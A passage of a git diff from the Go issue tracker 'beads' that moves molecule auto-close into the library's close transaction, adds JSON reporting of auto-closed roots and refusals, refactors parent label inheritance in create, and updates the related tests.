molecule %s, which this close did not auto-close: the server does not advertise %s, so the molecule's auto-close is the server's to run (bd close %s closes it)\n", stepID, root.ID, token, root.ID) +} - return false +// advanceMoleculeDirect runs `bd close --continue` on the direct route through +// the store's MoleculeStepper role. +func advanceMoleculeDirect(ctx context.Context, s storage.DoltStorage, closedStepID string, autoClaim bool) (*ContinueResult, error) { + roles, err := directMoleculeRoles(s) + if err != nil { + return nil, err + } + return advanceMolecule(ctx, roles, closedStepID, autoClaim) } // resolveReasonFile resolves the --reason-file flag for `bd close`. diff --git a/cmd/bd/close_direct.go b/cmd/bd/close_direct.go index 79a91c59a..0e0c82955 100644 --- a/cmd/bd/close_direct.go +++ b/cmd/bd/close_direct.go @@ -133,12 +133,18 @@ func closeDirectBatches(items []closeDirectItem) []closeDirectBatch { // // claimNext rides on the batch of claimStore and no other, because --claim-next // hands out ONE claim however many stores the ids spanned. -func closeDirectRequest(batch closeDirectBatch, session string, force bool, claimStore storage.DoltStorage, claimNext *issueops.ReadyRequest) issueops.CloseBatchRequest { +func closeDirectRequest(ctx context.Context, batch closeDirectBatch, session string, force bool, claimStore storage.DoltStorage, claimNext *issueops.ReadyRequest) issueops.CloseBatchRequest { request := issueops.CloseBatchRequest{ Actor: currentActor(), Items: make([]issueops.BatchCloseItem, 0, len(batch.items)), Session: session, Force: force, + // bd closes a molecule's root when its last step closes; the library + // does it inside the batch's transaction. Opt-in at the library so an + // orchestrator with its own molecule lifecycle is not doubled, and + // asked for only where the store serves it (a remote server that does + // not advertise it owns the molecule's auto-close). + AutoCloseMolecule: storage.ServesMoleculeAutoClose(ctx, batch.store), } if claimNext != nil && batch.store == claimStore { request.ClaimNext = claimNext @@ -164,7 +170,7 @@ func closeDirectRun(ctx context.Context, batches []closeDirectBatch, argCount in var claimed *types.IssueWithCounts for _, batch := range batches { - result, err := closeDirectCloseBatch(ctx, batch.store, closeDirectRequest(batch, session, force, claimStore, claimNext)) + result, err := closeDirectCloseBatch(ctx, batch.store, closeDirectRequest(ctx, batch, session, force, claimStore, claimNext)) if err != nil { for _, item := range batch.items { refused := issueops.CloseOutcome{IssueID: item.id, Err: err} diff --git a/cmd/bd/close_embedded_test.go b/cmd/bd/close_embedded_test.go index 2c87dbac0..0fe7f968c 100644 --- a/cmd/bd/close_embedded_test.go +++ b/cmd/bd/close_embedded_test.go @@ -15,6 +15,7 @@ import ( "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage/embeddeddolt" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) // ===== Close-specific test helpers ===== @@ -56,6 +57,80 @@ func bdDepAdd(t *testing.T, bd, dir string, args ...string) { } } +// closeJSONEntry is one entry of `bd close --json`, decoded as a consumer that +// knows the molecule auto-close members does: the closed issue's own members +// at the top level, with the members beside them. +type closeJSONEntry struct { + types.Issue + AutoClosedMolecule *types.Issue `json:"auto_closed_molecule"` + MoleculeAutoCloseRefusal *string `json:"molecule_auto_close_refusal"` +} + +// decodeCloseJSON decodes the array of closed issues `bd close --json` prints +// on stdout, and requires one entry per id in ids, in order, each closed. +func decodeCloseJSON(t *testing.T, stdout string, ids []string) []closeJSONEntry { + t.Helper() + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("no JSON array in bd close --json output:\n%s", stdout) + } + var entries []closeJSONEntry + if err := json.Unmarshal([]byte(stdout[start:]), &entries); err != nil { + t.Fatalf("parse bd close --json: %v\n%s", err, stdout[start:]) + } + if len(entries) != len(ids) { + t.Fatalf("bd close --json has %d entries, want %d (%v):\n%s", len(entries), len(ids), ids, stdout[start:]) + } + for i, entry := range entries { + if entry.ID != ids[i] || entry.Status != types.StatusClosed { + t.Fatalf("entry %d = %s (%s), want %s closed:\n%s", i, entry.ID, entry.Status, ids[i], stdout[start:]) + } + } + return entries +} + +// requireCloseJSONReportsAutoClosedMolecule asserts a `bd close --json` of +// stepIDs, in order, whose close completed the molecule rootID: the first +// entry carries the closed root as auto_closed_molecule, and no entry carries +// the root again or a refusal. +func requireCloseJSONReportsAutoClosedMolecule(t *testing.T, stdout string, stepIDs []string, rootID string) { + t.Helper() + entries := decodeCloseJSON(t, stdout, stepIDs) + root := entries[0].AutoClosedMolecule + if root == nil { + t.Fatalf("the close that completed molecule %s does not report it as auto_closed_molecule:\n%s", rootID, stdout) + } + if root.ID != rootID || root.Status != types.StatusClosed || root.CloseReason != "all steps complete" { + t.Errorf("auto_closed_molecule = %s (%s, %q), want %s closed with %q", root.ID, root.Status, root.CloseReason, rootID, "all steps complete") + } + for i, entry := range entries { + if i > 0 && entry.AutoClosedMolecule != nil { + t.Errorf("entry %d (%s) reports molecule %s again: a batch reports each root once", i, entry.ID, entry.AutoClosedMolecule.ID) + } + if entry.MoleculeAutoCloseRefusal != nil { + t.Errorf("entry %d (%s) reports a refusal for a root that closed: %q", i, entry.ID, *entry.MoleculeAutoCloseRefusal) + } + } +} + +// requireCloseJSONReportsMoleculeRefusal asserts a `bd close --json` of +// stepID whose close completed the molecule rootID but could not close it: +// the entry carries no auto-closed root and reports the refusal as want, the +// refusing guard's own sentence, on every route. +func requireCloseJSONReportsMoleculeRefusal(t *testing.T, stdout, stepID, rootID string, want error) { + t.Helper() + entry := decodeCloseJSON(t, stdout, []string{stepID})[0] + if entry.AutoClosedMolecule != nil { + t.Errorf("a refused root is reported as auto-closed: %s", entry.AutoClosedMolecule.ID) + } + if entry.MoleculeAutoCloseRefusal == nil { + t.Fatalf("the close that completed molecule %s does not report why its root stayed open:\n%s", rootID, stdout) + } + if got := *entry.MoleculeAutoCloseRefusal; got != want.Error() { + t.Errorf("molecule_auto_close_refusal for %s:\n got %q\nwant %q", rootID, got, want.Error()) + } +} + // ===== Close tests ===== // The TestEmbeddedCloseBasic*, TestEmbeddedCloseGuardsAndEpics and @@ -648,6 +723,44 @@ func TestEmbeddedCloseAlreadyClosedClaimNextAndMolecule(t *testing.T) { } +// TestEmbeddedCloseJSONReportsMoleculeAutoClose pins what `bd close --json` +// says about the molecule a close completed, on the direct route: the root it +// closed, once per batch, or why the root stayed open. +// TestProxiedServerClose2B's json_reports_* subtests are its proxied twins. +func TestEmbeddedCloseJSONReportsMoleculeAutoClose(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + + t.Run("auto_closed_root_reported_once_per_batch", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "jm") + root := bdCreate(t, bd, dir, "JSON molecule root", "--type", "epic", "--labels", "template") + step1 := bdCreate(t, bd, dir, "JSON molecule step one", "--type", "task", "--parent", root.ID) + step2 := bdCreate(t, bd, dir, "JSON molecule step two", "--type", "task", "--parent", root.ID) + step3 := bdCreate(t, bd, dir, "JSON molecule step three", "--type", "task", "--parent", root.ID) + bdClose(t, bd, dir, step1.ID) + + out := bdClose(t, bd, dir, "--json", step2.ID, step3.ID) + requireCloseJSONReportsAutoClosedMolecule(t, out, []string{step2.ID, step3.ID}, root.ID) + }) + + t.Run("refused_root_reported", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "jr") + root := bdCreate(t, bd, dir, "JSON held molecule root", "--type", "epic", "--labels", "template", "--assignee", "someone-else") + step := bdCreate(t, bd, dir, "JSON held molecule step", "--type", "task", "--parent", root.ID) + + out := bdClose(t, bd, dir, "--actor", "json-closer", "--json", step.ID) + requireCloseJSONReportsMoleculeRefusal(t, out, step.ID, root.ID, + &issueops.CloseNotAssigneeError{IssueID: root.ID, Assignee: "someone-else", Actor: "json-closer"}) + if got := bdShow(t, bd, dir, root.ID); got.Status != types.StatusOpen { + t.Errorf("a root assigned to another actor must stay open, got %s", got.Status) + } + }) +} + // TestEmbeddedCloseConcurrent exercises create, close, and list operations // concurrently to verify EmbeddedDoltStore handles concurrent CLI invocations // without panics, data corruption, or deadlocks. diff --git a/cmd/bd/close_if_revision.go b/cmd/bd/close_if_revision.go index b0954d6f5..272a26c0e 100644 --- a/cmd/bd/close_if_revision.go +++ b/cmd/bd/close_if_revision.go @@ -8,8 +8,7 @@ import ( "github.com/steveyegge/beads/internal/audit" "github.com/steveyegge/beads/internal/debug" - "github.com/steveyegge/beads/internal/storage/uow" - "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/issueops" ) @@ -61,6 +60,10 @@ func runCloseDirectIfRevision(ctx context.Context, id, reason string, force bool Session: session, Force: force, ExpectedVersion: &expectedVersion, + // The library closes the molecule root this close completes, in the + // same transaction — and replays it on an idempotent re-close — where + // the store serves it (storage.ServesMoleculeAutoClose). + AutoCloseMolecule: storage.ServesMoleculeAutoClose(ctx, result.Store), }) if closeErr != nil { if reported, ok := reportIfRevisionFailure("closing", id, closeErr, &expectedVersion); ok { @@ -77,16 +80,11 @@ func runCloseDirectIfRevision(ctx context.Context, id, reason string, force bool fmt.Fprintf(os.Stderr, "warning: closing %s with %d open child issue(s) still active\n", result.ResolvedID, closeResult.OpenChildren) } - // Molecule auto-close is a retry-safe, fully state-derived post-close - // contract (close.go's autoCloseCompletedMolecule doc), so it must replay - // here exactly as it does on the batch route — on a real close AND on an - // idempotent re-close, since the guarded route bypasses BatchCloser - // entirely (mc-zndi7.75) and would otherwise leave a molecule's root - // stranded open forever. mutatedIDs := []string{result.ResolvedID} - if molID := autoCloseCompletedMolecule(ctx, result.Store, result.ResolvedID, currentActor(), session); molID != "" { + if molID := reportMoleculeAutoClose(closeResult.AutoClosedMolecule, closeResult.MoleculeAutoCloseRefusal); molID != "" { mutatedIDs = append(mutatedIDs, molID) } + noticeUnservedMoleculeAutoClose(ctx, result.Store, result.ResolvedID, nil) if err := commitPendingIfEmbedded(ctx, result.Store, currentActor(), doltAutoCommitParams{ Command: "close", @@ -121,12 +119,13 @@ func runCloseProxiedIfRevision(ctx context.Context, id, reason string, force boo } closeResult, closeErr := ops.Close(ctx, issueops.CloseRequest{ - Actor: currentActor(), - IssueID: id, - Reason: reason, - Session: session, - Force: force, - ExpectedVersion: &expectedVersion, + Actor: currentActor(), + IssueID: id, + Reason: reason, + Session: session, + Force: force, + ExpectedVersion: &expectedVersion, + AutoCloseMolecule: true, }) if closeErr != nil { if errors.Is(closeErr, context.Canceled) || errors.Is(closeErr, context.DeadlineExceeded) { @@ -146,48 +145,13 @@ func runCloseProxiedIfRevision(ctx context.Context, id, reason string, force boo fmt.Fprintf(os.Stderr, "warning: closing %s with %d open child issue(s) still active\n", id, closeResult.OpenChildren) } - // Molecule auto-close is a retry-safe, fully state-derived post-close - // contract, so it must replay here too — on a real close AND on an - // idempotent re-close — exactly as closeProxiedRunPostClose drives it for - // the batch route (mc-zndi7.75). - runCloseIfRevisionProxiedPostClose(ctx, id, session) + reportMoleculeAutoClose(closeResult.AutoClosedMolecule, closeResult.MoleculeAutoCloseRefusal) SetLastTouchedID(id) reportClosedIfRevisionResult(id, reason, preCloseStatus, closeResult) return nil } -// runCloseIfRevisionProxiedPostClose re-drives molecule auto-close after a -// guarded proxied close, in its own unit of work exactly as -// closeProxiedRunPostClose runs it for the batch route: outside the close's -// own transaction, because it is outside that transaction's contract. A -// failure here is reported and swallowed — best effort, matching -// autoCloseCompletedMolecule's direct-route twin — so a molecule-healing -// hiccup never turns an otherwise-successful guarded close into a failure. -func runCloseIfRevisionProxiedPostClose(ctx context.Context, id, session string) { - if uowProvider == nil { - return - } - autoClosedMol, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*types.Issue, string, error) { - var warnings []string - mol := autoCloseProxiedCompletedMolecule(ctx, uw, id, currentActor(), session, &warnings) - for _, w := range warnings { - fmt.Fprintf(os.Stderr, "Warning: %s\n", w) - } - if mol == nil { - return nil, "", nil - } - return mol, "bd: auto-close " + mol.ID, nil - }) - if err != nil { - fmt.Fprintf(os.Stderr, "Warning: post-close work failed: %v\n", err) - return - } - if autoClosedMol != nil && !jsonOutput { - debug.PrintNormal("%s Auto-closed completed molecule %s\n", ui.RenderPass("✓"), formatFeedbackID(autoClosedMol.ID, autoClosedMol.Title)) - } -} - // reportClosedIfRevisionResult is the one-id success report shared by both // --if-revision close routes: the audit entry (suppressed for an idempotent // re-close, matching close.go's batch behavior) and the human/--json output. @@ -218,7 +182,7 @@ func reportClosedIfRevisionResult(id, reason, preCloseStatus string, closeResult } if jsonOutput { if closedIssue != nil { - _ = outputJSON([]*types.Issue{closedIssue}) + _ = outputJSON([]closedIssueJSON{newClosedIssueJSON(closedIssue, closeResult.AutoClosedMolecule, closeResult.MoleculeAutoCloseRefusal)}) } return } diff --git a/cmd/bd/close_if_revision_embedded_test.go b/cmd/bd/close_if_revision_embedded_test.go index 9b5721ed0..18867c6f1 100644 --- a/cmd/bd/close_if_revision_embedded_test.go +++ b/cmd/bd/close_if_revision_embedded_test.go @@ -48,9 +48,11 @@ func TestIfRevisionCloseReplaysMoleculeAutoClose(t *testing.T) { // Re-close the already-closed final step, this time GUARDED. The idempotent // guarded re-close must replay molecule auto-close and heal the - // stranded-open root exactly as the unguarded path does. + // stranded-open root exactly as the unguarded path does, and its --json + // report names the root it closed. rev := bdShowRevision(t, bd, dir, step2.ID) - bdRunOK(t, bd, dir, "close", step2.ID, "--if-revision", revStr(rev), "--reason", "retry") + out := bdClose(t, bd, dir, step2.ID, "--if-revision", revStr(rev), "--reason", "retry", "--json") + requireCloseJSONReportsAutoClosedMolecule(t, out, []string{step2.ID}, root.ID) if got := bdShow(t, bd, dir, root.ID); got.Status != types.StatusClosed { t.Errorf("expected stranded-open molecule root %s healed by a guarded re-close of the final step, got %s", diff --git a/cmd/bd/close_if_revision_proxied_test.go b/cmd/bd/close_if_revision_proxied_test.go index 0657424ac..dfddc7dea 100644 --- a/cmd/bd/close_if_revision_proxied_test.go +++ b/cmd/bd/close_if_revision_proxied_test.go @@ -40,9 +40,11 @@ func TestProxiedServerIfRevisionCloseReplaysMoleculeAutoClose(t *testing.T) { // Re-close the already-closed final step, this time GUARDED. The // idempotent guarded re-close must replay molecule auto-close and heal - // the stranded-open root exactly as the unguarded path does. + // the stranded-open root exactly as the unguarded path does, and its + // --json report names the root it closed. rev := bdProxiedShowRevision(t, bd, p.dir, step2.ID) - bdProxiedClose(t, bd, p.dir, step2.ID, "--if-revision", proxiedRevStr(rev), "--reason", "retry") + out := bdProxiedClose(t, bd, p.dir, step2.ID, "--if-revision", proxiedRevStr(rev), "--reason", "retry", "--json") + requireCloseJSONReportsAutoClosedMolecule(t, out, []string{step2.ID}, root.ID) if got := readStatus(t, db, root.ID); got != types.StatusClosed { t.Errorf("expected stranded-open molecule root %s healed by a guarded proxied re-close of the final step, got %q", diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 94baa1ad6..c82657266 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -18,6 +18,7 @@ import ( "time" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) func bdProxiedClose(t *testing.T, bd, dir string, args ...string) string { @@ -914,6 +915,31 @@ func TestProxiedServerClose2B(t *testing.T) { } }) + t.Run("json_reports_auto_closed_molecule", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "jacm") + root := bdProxiedCreate(t, bd, p.dir, "Molecule root", "-t", "epic", "--labels", "template") + s1 := bdProxiedCreate(t, bd, p.dir, "Step 1", "--parent", root.ID) + s2 := bdProxiedCreate(t, bd, p.dir, "Step 2", "--parent", root.ID) + s3 := bdProxiedCreate(t, bd, p.dir, "Step 3", "--parent", root.ID) + bdProxiedClose(t, bd, p.dir, s1.ID) + out := bdProxiedClose(t, bd, p.dir, "--json", s2.ID, s3.ID) + requireCloseJSONReportsAutoClosedMolecule(t, out, []string{s2.ID, s3.ID}, root.ID) + }) + + t.Run("json_reports_molecule_auto_close_refusal", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "jmar") + root := bdProxiedCreate(t, bd, p.dir, "Molecule root", "-t", "epic", "--labels", "template", "--assignee", "someone-else") + s1 := bdProxiedCreate(t, bd, p.dir, "Step 1", "--parent", root.ID) + out := bdProxiedClose(t, bd, p.dir, "--actor", "json-closer", "--json", s1.ID) + requireCloseJSONReportsMoleculeRefusal(t, out, s1.ID, root.ID, + &issueops.CloseNotAssigneeError{IssueID: root.ID, Assignee: "someone-else", Actor: "json-closer"}) + if got := readStatus(t, openProxiedDB(t, p), root.ID); got != types.StatusOpen { + t.Errorf("a root assigned to another actor must stay open, got %q", got) + } + }) + t.Run("hooks_fire_on_close", func(t *testing.T) { t.Parallel() marker := filepath.Join(t.TempDir(), "on_close_marker") diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index cf94bba83..4e09ab602 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -5,13 +5,11 @@ import ( "errors" "fmt" "os" - "strings" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/audit" "github.com/steveyegge/beads/internal/storage" - "github.com/steveyegge/beads/internal/storage/domain" storeissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" @@ -65,14 +63,18 @@ type closeProxiedOutcome struct { closed bool auditOld string auditReason string + // autoClosedMol and autoCloseRefusal are what the library's molecule + // auto-close did inside the batch's transaction for this item. + autoClosedMol *types.Issue + autoCloseRefusal string } // closeProxiedPostClose is the work `bd close` does AFTER the closes have -// landed: molecule auto-close, --suggest-next and --continue. +// landed: --suggest-next and --continue. (The molecule auto-close is not here: +// the library runs it inside the batch's transaction.) type closeProxiedPostClose struct { unblocked []*types.Issue continueResult *ContinueResult - autoClosedMol *types.Issue warnings []string } @@ -146,6 +148,9 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin Session: in.session, Force: in.force, ClaimNext: closeClaimNextRequest(in.claimNext, in.continueOn), + // The library closes a molecule root its last step's close + // completes, inside this batch's transaction. + AutoCloseMolecule: true, }) if err != nil { return HandleErrorRespectJSON("%v", err) @@ -179,9 +184,17 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin claimedNextIssue = result.ClaimedNext.Issue } + for _, o := range outcomes { + if o.autoCloseRefusal != "" { + fmt.Fprintf(os.Stderr, "Warning: could not auto-close completed molecule: %s\n", o.autoCloseRefusal) + } + } + if !in.jsonOut { - if post.autoClosedMol != nil { - fmt.Printf("%s Auto-closed completed molecule %s\n", ui.RenderPass("✓"), formatFeedbackID(post.autoClosedMol.ID, post.autoClosedMol.Title)) + for _, o := range outcomes { + if o.autoClosedMol != nil { + fmt.Printf("%s Auto-closed completed molecule %s\n", ui.RenderPass("✓"), formatFeedbackID(o.autoClosedMol.ID, o.autoClosedMol.Title)) + } } if len(post.unblocked) > 0 { fmt.Printf("\nNewly unblocked:\n") @@ -200,9 +213,9 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin } if in.jsonOut && len(outcomes) > 0 { - closedIssues := make([]*types.Issue, len(outcomes)) + closedIssues := make([]closedIssueJSON, len(outcomes)) for i, o := range outcomes { - closedIssues[i] = o.after + closedIssues[i] = newClosedIssueJSON(o.after, o.autoClosedMol, o.autoCloseRefusal) } switch { case len(post.unblocked) > 0: @@ -352,12 +365,14 @@ func closeProxiedOutcomes(pre *closeProxiedPreflight, result issueops.CloseBatch after.Dependencies = nil } outcomes = append(outcomes, closeProxiedOutcome{ - id: item.IssueID, - before: before, - after: after, - closed: outcome.Changed, - auditOld: oldStatus, - auditReason: item.Reason, + id: item.IssueID, + before: before, + after: after, + closed: outcome.Changed, + auditOld: oldStatus, + auditReason: item.Reason, + autoClosedMol: outcome.AutoClosedMolecule, + autoCloseRefusal: outcome.MoleculeAutoCloseRefusal, }) reasons = append(reasons, item.Reason) } @@ -469,61 +484,38 @@ func closeProxiedRefusal(id string, err error) string { } } -// closeProxiedRunPostClose runs molecule auto-close, --suggest-next and -// --continue once the closes have committed. -// -// They are outside the batch's transaction because they are outside its -// contract, and outside is where the direct route has always run them: it -// calls autoCloseCompletedMolecule and AdvanceToNextStep after ops.Close -// returns, each in its own write. The visible consequence is a SECOND Dolt -// commit when a molecule actually auto-closes or --continue actually advances. -// A plain close writes nothing in this pass, names no commit message, and -// therefore still produces exactly one commit for the command. +// closeProxiedRunPostClose runs --suggest-next and --continue once the closes +// have committed. --suggest-next is a read in a unit of work of its own; +// --continue is the provider's MoleculeStepper role, which claims in its own +// transaction exactly as the direct route's does. func closeProxiedRunPostClose(ctx context.Context, args []string, in closeProxiedInput, outcomes []closeProxiedOutcome) closeProxiedPostClose { + var out closeProxiedPostClose if len(outcomes) == 0 { - return closeProxiedPostClose{} + return out } - post, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (closeProxiedPostClose, string, error) { - var out closeProxiedPostClose - var wrote []string - - for _, o := range outcomes { - mol := autoCloseProxiedCompletedMolecule(ctx, uw, o.id, currentActor(), in.session, &out.warnings) - if mol != nil { - out.autoClosedMol = mol - wrote = append(wrote, "auto-close "+mol.ID) - } - } - - if in.suggestNext && len(args) == 1 { + if in.suggestNext && len(args) == 1 { + _, err := uow.RunTxRead(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (struct{}, error) { unblocked, warn := closeProxiedSuggestNext(ctx, uw, args[0]) out.unblocked = unblocked if warn != "" { out.warnings = append(out.warnings, warn) } + return struct{}{}, nil + }) + if err != nil { + out.warnings = append(out.warnings, fmt.Sprintf("post-close work failed: %v", err)) } - - if in.continueOn && len(args) == 1 { - cont, warn := closeProxiedContinue(ctx, uw, args[0], !in.noAuto) - out.continueResult = cont - if warn != "" { - out.warnings = append(out.warnings, warn) - } - if cont != nil && cont.AutoAdvanced && cont.NextStep != nil { - wrote = append(wrote, "advance to "+cont.NextStep.ID) - } - } - - if len(wrote) == 0 { - return out, "", nil - } - return out, "bd: " + strings.Join(wrote, "; "), nil - }) - if err != nil { - post.warnings = append(post.warnings, fmt.Sprintf("post-close work failed: %v", err)) } - return post + + if in.continueOn && len(args) == 1 { + cont, warn := closeProxiedContinue(ctx, args[0], !in.noAuto) + out.continueResult = cont + if warn != "" { + out.warnings = append(out.warnings, warn) + } + } + return out } func closeProxiedSuggestNext(ctx context.Context, uw uow.UnitOfWork, closedID string) ([]*types.Issue, string) { @@ -534,52 +526,14 @@ func closeProxiedSuggestNext(ctx context.Context, uw uow.UnitOfWork, closedID st return unblocked, "" } -func closeProxiedContinue(ctx context.Context, uw uow.UnitOfWork, closedID string, autoClaim bool) (*ContinueResult, string) { - result, err := AdvanceToNextStep(ctx, newUOWMolWriter(uw), closedID, autoClaim, currentActor()) +func closeProxiedContinue(ctx context.Context, closedID string, autoClaim bool) (*ContinueResult, string) { + roles, err := proxiedMoleculeRoles() + if err != nil { + return nil, fmt.Sprintf("could not advance to next step: %v", err) + } + result, err := advanceMolecule(ctx, roles, closedID, autoClaim) if err != nil { return nil, fmt.Sprintf("could not advance to next step: %v", err) } return result, "" } - -func autoCloseProxiedCompletedMolecule(ctx context.Context, uw uow.UnitOfWork, closedStepID string, actorName, session string, warnings *[]string) *types.Issue { - moleculeID := proxiedFindParentMolecule(ctx, uw, closedStepID) - if moleculeID == "" { - return nil - } - - root, err := uw.IssueUseCase().GetIssue(ctx, moleculeID) - if err != nil || root == nil || root.Status == types.StatusClosed { - return nil - } - // A READ, and one that has to see this transaction. The auto-close decision - // is made from labels written earlier in the same unit of work, and - // issueops.Reader opens a transaction of its own, so it would answer from - // the last committed state instead. The follow-up is a reader role bound to - // a caller's transaction; until one exists this stays (ga-2ltro.12). - if labels, err := uw.LabelUseCase().GetLabels(ctx, moleculeID); err == nil { //nolint:forbidigo // in-transaction read; issueops.Reader would open its own - root.Labels = labels - } - if !shouldAutoCloseCompletedRoot(root) { - return nil - } - - progress, err := getMoleculeProgress(ctx, uowMolReader{uw: uw}, moleculeID) - if err != nil { - return nil - } - if progress.Completed < progress.Total { - return nil - } - - params := domain.CloseIssueParams{Reason: "all steps complete", Session: session} - if _, err := uw.IssueUseCase().CloseIssue(ctx, moleculeID, params, actorName); err != nil { - *warnings = append(*warnings, fmt.Sprintf("could not auto-close completed molecule %s: %v", moleculeID, err)) - return nil - } - return root -} - -func proxiedFindParentMolecule(ctx context.Context, uw uow.UnitOfWork, issueID string) string { - return findParentMolecule(ctx, uowMolReader{uw: uw}, issueID) -} diff --git a/cmd/bd/create.go b/cmd/bd/create.go index 0a8fea444..64aeada9c 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -446,8 +446,11 @@ var createCmd = &cobra.Command{ defer func() { _ = parentLookupStore.Close() }() } - var inheritedLabels []string + noInheritLabels, _ := cmd.Flags().GetBool("no-inherit-labels") + inheritParentLabels := parentID != "" && !noInheritLabels if parentID != "" { + // A fail-fast with the message this command has always printed; + // the create role refuses a missing parent on its own as well. ctx := rootCtx _, err := parentLookupStore.GetIssue(ctx, parentID) if err != nil { @@ -456,16 +459,20 @@ var createCmd = &cobra.Command{ } return HandleError("failed to check parent issue: %v", err) } - - noInheritLabels, _ := cmd.Flags().GetBool("no-inherit-labels") - if !noInheritLabels { - inheritedLabels, _ = parentLookupStore.GetLabels(ctx, parentID) - } } - labels = mergeCreateLabels(labels, inheritedLabels) - if dryRun { + // The preview shows what the create role would inherit; the real + // create asks the role to inherit (CreateRequest.InheritLabelsFromParent) + // inside its own transaction. A failed read is reported, never + // previewed as "no labels". + if inheritParentLabels { + inherited, err := parentLookupStore.GetLabels(rootCtx, parentID) + if err != nil { + return HandleError("failed to read the labels of parent %s: %v", parentID, err) + } + labels = mergeCreateLabels(labels, inherited) + } return renderDryRun() } @@ -482,14 +489,12 @@ var createCmd = &cobra.Command{ } createCtx := rootCtx - if parentID != "" { - childID, err := store.GetNextChildID(rootCtx, parentID) - if err != nil { - return HandleError("%v", err) - } - explicitID = childID - createCtx = storage.WithReservedChildCounter(createCtx, parentID, childID) - } + // The --parent child id is minted by the Lifecycle role, on every + // backend and route: a create with a ParentID and no id of its own is + // ., minted inside the create's own transaction (conformance + // RunIssueOperationsCreateUnderAParentMintsTheNextChildID, served leg + // included), and the role stages the advanced counter itself. An + // explicit --id never reaches here with a parent (refused above). if explicitID != "" { _, err := validation.ValidateIDFormat(explicitID) @@ -568,21 +573,20 @@ var createCmd = &cobra.Command{ if err != nil { return HandleErrorRespectJSON("%v", err) } - // Label inheritance stays CLI-side (mergeCreateLabels above) because the - // dry-run preview needs it too; asking the facade to inherit as well - // would append the parent's labels a second time. + // The parent's labels are the role's to inherit, inside the create. if priorityDefault { issue.Priority = 0 } result, err := ops.Create(opsCtx, issueops.CreateRequest{ - Actor: currentActor(), - Issue: issue, - ParentID: parentID, - Dependencies: createDependencyRequests(depSpecs), - WaitsFor: waitsForRequest(waitsForSpec), - ForceIDPrefix: forceCreate, - IDPrefix: createIDPrefixOverride(), - DefaultPriority: priorityDefault, + Actor: currentActor(), + Issue: issue, + ParentID: parentID, + InheritLabelsFromParent: inheritParentLabels, + Dependencies: createDependencyRequests(depSpecs), + WaitsFor: waitsForRequest(waitsForSpec), + ForceIDPrefix: forceCreate, + IDPrefix: createIDPrefixOverride(), + DefaultPriority: priorityDefault, }) if err != nil { // RULING R1: an occupied --id is a refusal, not a silent full-row diff --git a/cmd/bd/critical_paths_test.go b/cmd/bd/critical_paths_test.go index 29c4d96f0..b6ff4fd2c 100644 --- a/cmd/bd/critical_paths_test.go +++ b/cmd/bd/critical_paths_test.go @@ -9,7 +9,9 @@ import ( "testing" "time" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) // TestBurnWisps tests direct wisp deletion via burnWisps. @@ -122,6 +124,23 @@ func TestBurnWisps(t *testing.T) { }) } +// closeWithMoleculeAutoClose (re-)closes a step through the store's Lifecycle +// role with AutoCloseMolecule set — the one path `bd close` takes on every +// route — so the library's in-transaction auto-close decides the root. The +// rule is state-derived, so re-closing an already-closed step drives it too. +func closeWithMoleculeAutoClose(t *testing.T, ctx context.Context, s storage.DoltStorage, stepID string) { + t.Helper() + ops, err := s.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := ops.Close(ctx, issueops.CloseRequest{ + Actor: "test-actor", IssueID: stepID, Reason: "done", Session: "test-session", AutoCloseMolecule: true, + }); err != nil { + t.Fatalf("close %s with molecule auto-close: %v", stepID, err) + } +} + // TestAutoCloseCompletedMolecule tests that closing the last step auto-closes the parent molecule. func TestAutoCloseCompletedMolecule(t *testing.T) { t.Parallel() @@ -179,7 +198,7 @@ func TestAutoCloseCompletedMolecule(t *testing.T) { } // Now trigger auto-close - autoCloseCompletedMolecule(ctx, s, step2.ID, "test-actor", "test-session") + closeWithMoleculeAutoClose(t, ctx, s, step2.ID) // Verify root is now closed updatedRoot, err := s.GetIssue(ctx, root.ID) @@ -235,7 +254,7 @@ func TestAutoCloseCompletedMolecule(t *testing.T) { } // Auto-close after closing step1 — step2 still open - autoCloseCompletedMolecule(ctx, s, step1.ID, "test-actor", "test-session") + closeWithMoleculeAutoClose(t, ctx, s, step1.ID) // Verify root is still open updatedRoot, err := s.GetIssue(ctx, root.ID) @@ -261,7 +280,7 @@ func TestAutoCloseCompletedMolecule(t *testing.T) { } // Should not panic or error — just no-op - autoCloseCompletedMolecule(ctx, s, orphan.ID, "test-actor", "test-session") + closeWithMoleculeAutoClose(t, 